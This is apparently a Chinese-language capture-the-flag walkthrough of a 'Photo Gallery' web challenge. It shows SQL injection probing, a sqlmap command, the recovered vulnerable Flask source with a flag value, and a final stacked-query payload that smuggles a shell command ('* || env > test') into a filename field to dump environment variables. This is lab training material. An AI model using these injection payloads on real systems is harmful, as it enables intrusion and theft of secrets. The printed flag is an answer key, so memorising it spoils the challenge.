04.Photo Gallery

FLAG0

首页的几张图片，都是以fetch?id=x的方式请求的，而且返回的是JPEG的格式，

请求id=3 为500，id=4，-1，1.1为404 说明id=3是存在的

试试 id=2 and 1=1 id=2 and 1-2 发现1=1成功，1=2失败，那我们用sqlmap跑一跑

sqlmap -u http://34.94.3.143/28056cec6c/fetch\?id=1 —dump

得到一些数据

最后得到了结果

FLAG1

根据提示，这个应用是 uwsgi-nginx-flask-docker 我们可以去看下配置文件

看到module是main，那我们可以看看源代码

源码到手：

from flask import Flask, abort, redirect, request, Response
import base64, json, MySQLdb, os, re, subprocess

app = Flask(__name__)

home = '''

	
		Magical Image Gallery
	
	
		
# Magical Image Gallery

$ALBUMS$
	

'''

viewAlbum = '''

	
		$TITLE$ -- Magical Image Gallery
	
	
		
# $TITLE$

$GALLERY$
	

'''

def getDb():
	return MySQLdb.connect(host="localhost", user="root", password="", db="level5")

def sanitize(data):
	return data.replace('&', '&').replace('', '>').replace('"', '"')

@app.route('/')
def index():
	cur = getDb().cursor()
	cur.execute('SELECT id, title FROM albums')
	albums = list(cur.fetchall())

	rep = ''
	for id, title in albums:
		rep += '
## %s
\n' % sanitize(title)
		rep += ''
		cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3', (id, ))
		fns = []
		for pid, ptitle, pfn in cur.fetchall():
			rep += '

![image](fetch?id=%i)

%s' % (pid, sanitize(ptitle))
			fns.append(pfn)
		rep += 'Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '*'
		rep += '\n'

	return home.replace('$ALBUMS$', rep)

@app.route('/fetch')
def fetch():
	cur = getDb().cursor()
	if cur.execute('SELECT filename FROM photos WHERE id=%s' % request.args['id']) == 0:
		abort(404)

	# It's dangerous to go alone, take this:
	# ^FLAG^aeb455b10b9ce192cfa7b8f9e17afe63d9d41a903fb5f53e37a18808cba2dbc8$FLAG$

	return file('./%s' % cur.fetchone()[0].replace('..', ''), 'rb').read()

if __name__ == "__main__":
	app.run(host='0.0.0.0', port=80)

FLAG2

在源码中，发现了有启动进程来执行命令的语句

rep += ‘Space used: ’ + subprocess.check_output(‘du -ch %s || exit 0’ % ’ ‘.join(‘files/’ + fn for fn in fns), shell=True,

id=1;UPDATE photos SET filename='* || env > test' WHERE id=3;COMMIT;--